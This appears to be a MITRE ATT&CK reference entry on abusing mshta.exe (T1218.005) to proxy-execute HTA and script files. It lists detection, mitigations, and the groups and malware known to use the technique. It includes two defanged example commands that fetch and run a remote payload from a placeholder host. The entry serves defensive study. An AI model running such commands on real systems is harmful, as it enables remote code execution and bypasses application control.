System Binary Proxy Execution: Mshta
- ID
- T1218.005
- Tactics
- TA0005 Stealth
- Sub-technique of
- T1218 System Binary Proxy Execution
- Platforms
- Windows
- Data sources
- Process Creation, Network Connection Creation, File Creation
- Source
- attack.mitre.org
- MITRE last modified
- 12 May 2026
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [2] [3] [4] [5] [6]
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. [7] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [8]
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. [9]
Detection
- DET0506 Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation
Data components: Process Creation, Network Connection Creation, File Creation
Mitigations (2)
- M1038 Execution Prevention
Use application control configured to block execution of
mshta.exeif it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block themshta.exeapplication and to prevent abuse.[1]- M1042 Disable or Remove Feature or Program
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.
Groups (17)
- G0016 APT29
- G0032 Lazarus Group
- G0046 FIN7
- G0047 Gamaredon Group
- G0050 APT32
- G0069 MuddyWater
- G0082 APT38
- G0094 Kimsuky
- G0100 Inception
- G0121 Sidewinder
- G0127 TA551
- G0129 Mustang Panda
- G0140 LazyScripter
- G0142 Confucius
- G1006 Earth Lusca
- G1008 SideCopy
- G1018 TA2541
Software (11)
- S0147 Pteranodon
- S0223 POWERSTATS
- S0228 NanHaiShu
- S0250 Koadic
- S0341 Xbash
- S0379 Revenge RAT
- S0414 BabyShark
- S0455 Metamorfo
- S0589 Sibot
- S1155 Covenant
- S1213 Lumma Stealer
